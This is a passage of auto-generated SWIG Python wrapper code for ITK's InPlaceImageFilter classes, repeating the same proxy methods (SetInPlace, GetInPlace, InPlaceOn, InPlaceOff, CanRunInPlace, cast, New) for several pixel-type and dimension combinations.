_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_cast(obj) class itkInPlaceImageFilterIULL2IUC2(itkImageToImageFilterAPython.itkImageToImageFilterIULL2IUC2): """Proxy of C++ itkInPlaceImageFilterIULL2IUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIULL2IUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIULL2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIULL2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIULL2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIULL2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIULL2IUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL2IUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIULL2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIULL2IUC2 Create a new object of the class itkInPlaceImageFilterIULL2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIULL2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIULL2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIULL2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIULL2IUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_SetInPlace, None, itkInPlaceImageFilterIULL2IUC2) itkInPlaceImageFilterIULL2IUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_GetInPlace, None, itkInPlaceImageFilterIULL2IUC2) itkInPlaceImageFilterIULL2IUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_InPlaceOn, None, itkInPlaceImageFilterIULL2IUC2) itkInPlaceImageFilterIULL2IUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_InPlaceOff, None, itkInPlaceImageFilterIULL2IUC2) itkInPlaceImageFilterIULL2IUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_CanRunInPlace, None, itkInPlaceImageFilterIULL2IUC2) itkInPlaceImageFilterIULL2IUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_swigregister itkInPlaceImageFilterIULL2IUC2_swigregister(itkInPlaceImageFilterIULL2IUC2) def itkInPlaceImageFilterIULL2IUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL2IUC2 *": """itkInPlaceImageFilterIULL2IUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIULL2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUC2_cast(obj) class itkInPlaceImageFilterIULL2IUS2(itkImageToImageFilterAPython.itkImageToImageFilterIULL2IUS2): """Proxy of C++ itkInPlaceImageFilterIULL2IUS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIULL2IUS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIULL2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIULL2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIULL2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIULL2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIULL2IUS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL2IUS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIULL2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIULL2IUS2 Create a new object of the class itkInPlaceImageFilterIULL2IUS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIULL2IUS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIULL2IUS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIULL2IUS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIULL2IUS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_SetInPlace, None, itkInPlaceImageFilterIULL2IUS2) itkInPlaceImageFilterIULL2IUS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_GetInPlace, None, itkInPlaceImageFilterIULL2IUS2) itkInPlaceImageFilterIULL2IUS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_InPlaceOn, None, itkInPlaceImageFilterIULL2IUS2) itkInPlaceImageFilterIULL2IUS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_InPlaceOff, None, itkInPlaceImageFilterIULL2IUS2) itkInPlaceImageFilterIULL2IUS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_CanRunInPlace, None, itkInPlaceImageFilterIULL2IUS2) itkInPlaceImageFilterIULL2IUS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_swigregister itkInPlaceImageFilterIULL2IUS2_swigregister(itkInPlaceImageFilterIULL2IUS2) def itkInPlaceImageFilterIULL2IUS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL2IUS2 *": """itkInPlaceImageFilterIULL2IUS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIULL2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2IUS2_cast(obj) class itkInPlaceImageFilterIULL3ISS3(itkImageToImageFilterAPython.itkImageToImageFilterIULL3ISS3): """Proxy of C++ itkInPlaceImageFilterIULL3ISS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIULL3ISS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIULL3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIULL3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIULL3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIULL3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIULL3ISS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL3ISS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIULL3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIULL3ISS3 Create a new object of the class itkInPlaceImageFilterIULL3ISS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIULL3ISS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIULL3ISS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIULL3ISS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIULL3ISS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_SetInPlace, None, itkInPlaceImageFilterIULL3ISS3) itkInPlaceImageFilterIULL3ISS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_GetInPlace, None, itkInPlaceImageFilterIULL3ISS3) itkInPlaceImageFilterIULL3ISS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_InPlaceOn, None, itkInPlaceImageFilterIULL3ISS3) itkInPlaceImageFilterIULL3ISS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_InPlaceOff, None, itkInPlaceImageFilterIULL3ISS3) itkInPlaceImageFilterIULL3ISS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_CanRunInPlace, None, itkInPlaceImageFilterIULL3ISS3) itkInPlaceImageFilterIULL3ISS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_swigregister itkInPlaceImageFilterIULL3ISS3_swigregister(itkInPlaceImageFilterIULL3ISS3) def itkInPlaceImageFilterIULL3ISS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL3ISS3 *": """itkInPlaceImageFilterIULL3ISS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIULL3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3ISS3_cast(obj) class itkInPlaceImageFilterIULL3IUC3(itkImageToImageFilterAPython.itkImageToImageFilterIULL3IUC3): """Proxy of C++ itkInPlaceImageFilterIULL3IUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIULL3IUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIULL3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIULL3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIULL3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIULL3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIULL3IUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL3IUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIULL3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIULL3IUC3 Create a new object of the class itkInPlaceImageFilterIULL3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIULL3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIULL3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIULL3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIULL3IUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_SetInPlace, None, itkInPlaceImageFilterIULL3IUC3) itkInPlaceImageFilterIULL3IUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_GetInPlace, None, itkInPlaceImageFilterIULL3IUC3) itkInPlaceImageFilterIULL3IUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_InPlaceOn, None, itkInPlaceImageFilterIULL3IUC3) itkInPlaceImageFilterIULL3IUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_InPlaceOff, None, itkInPlaceImageFilterIULL3IUC3) itkInPlaceImageFilterIULL3IUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_CanRunInPlace, None, itkInPlaceImageFilterIULL3IUC3) itkInPlaceImageFilterIULL3IUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_swigregister itkInPlaceImageFilterIULL3IUC3_swigregister(itkInPlaceImageFilterIULL3IUC3) def itkInPlaceImageFilterIULL3IUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL3IUC3 *": """itkInPlaceImageFilterIULL3IUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIULL3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUC3_cast(obj) class itkInPlaceImageFilterIULL3IUS3(itkImageToImageFilterAPython.itkImageToImageFilterIULL3IUS3): """Proxy of C++ itkInPlaceImageFilterIULL3IUS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIULL3IUS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIULL3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIULL3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIULL3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIULL3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIULL3IUS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL3IUS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIULL3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIULL3IUS3 Create a new object of the class itkInPlaceImageFilterIULL3IUS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIULL3IUS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIULL3IUS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIULL3IUS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIULL3IUS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_SetInPlace, None, itkInPlaceImageFilterIULL3IUS3) itkInPlaceImageFilterIULL3IUS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_GetInPlace, None, itkInPlaceImageFilterIULL3IUS3) itkInPlaceImageFilterIULL3IUS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_InPlaceOn, None, itkInPlaceImageFilterIULL3IUS3) itkInPlaceImageFilterIULL3IUS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_InPlaceOff, None, itkInPlaceImageFilterIULL3IUS3) itkInPlaceImageFilterIULL3IUS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_CanRunInPlace, None, itkInPlaceImageFilterIULL3IUS3) itkInPlaceImageFilterIULL3IUS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_swigregister itkInPlaceImageFilterIULL3IUS3_swigregister(itkInPlaceImageFilterIULL3IUS3) def itkInPlaceImageFilterIULL3IUS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL3IUS3 *": """itkInPlaceImageFilterIULL3IUS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIULL3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL3IUS3_cast(obj) class itkInPlaceImageFilterIUS2IF2(itkImageToImageFilterAPython.itkImageToImageFilterIUS2IF2): """Proxy of C++ itkInPlaceImageFilterIUS2IF2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS2IF2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS2IF2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IF2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS2IF2 Create a new object of the class itkInPlaceImageFilterIUS2IF2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS2IF2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS2IF2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS2IF2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS2IF2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_SetInPlace, None, itkInPlaceImageFilterIUS2IF2) itkInPlaceImageFilterIUS2IF2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_GetInPlace, None, itkInPlaceImageFilterIUS2IF2) itkInPlaceImageFilterIUS2IF2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_InPlaceOn, None, itkInPlaceImageFilterIUS2IF2) itkInPlaceImageFilterIUS2IF2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_InPlaceOff, None, itkInPlaceImageFilterIUS2IF2) itkInPlaceImageFilterIUS2IF2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_CanRunInPlace, None, itkInPlaceImageFilterIUS2IF2) itkInPlaceImageFilterIUS2IF2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_swigregister itkInPlaceImageFilterIUS2IF2_swigregister(itkInPlaceImageFilterIUS2IF2) def itkInPlaceImageFilterIUS2IF2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IF2 *": """itkInPlaceImageFilterIUS2IF2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IF2_cast(obj) class itkInPlaceImageFilterIUS2IRGBAUC2(itkImageToImageFilterBPython.itkImageToImageFilterIUS2IRGBAUC2): """Proxy of C++ itkInPlaceImageFilterIUS2IRGBAUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS2IRGBAUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS2IRGBAUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IRGBAUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS2IRGBAUC2 Create a new object of the class itkInPlaceImageFilterIUS2IRGBAUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS2IRGBAUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS2IRGBAUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS2IRGBAUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS2IRGBAUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_SetInPlace, None, itkInPlaceImageFilterIUS2IRGBAUC2) itkInPlaceImageFilterIUS2IRGBAUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_GetInPlace, None, itkInPlaceImageFilterIUS2IRGBAUC2) itkInPlaceImageFilterIUS2IRGBAUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_InPlaceOn, None, itkInPlaceImageFilterIUS2IRGBAUC2) itkInPlaceImageFilterIUS2IRGBAUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_InPlaceOff, None, itkInPlaceImageFilterIUS2IRGBAUC2) itkInPlaceImageFilterIUS2IRGBAUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_CanRunInPlace, None, itkInPlaceImageFilterIUS2IRGBAUC2) itkInPlaceImageFilterIUS2IRGBAUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_swigregister itkInPlaceImageFilterIUS2IRGBAUC2_swigregister(itkInPlaceImageFilterIUS2IRGBAUC2) def itkInPlaceImageFilterIUS2IRGBAUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IRGBAUC2 *": """itkInPlaceImageFilterIUS2IRGBAUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBAUC2_cast(obj) class itkInPlaceImageFilterIUS2IRGBUC2(itkImageToImageFilterBPython.itkImageToImageFilterIUS2IRGBUC2): """Proxy of C++ itkInPlaceImageFilterIUS2IRGBUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS2IRGBUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_InPlaceOn(self) def 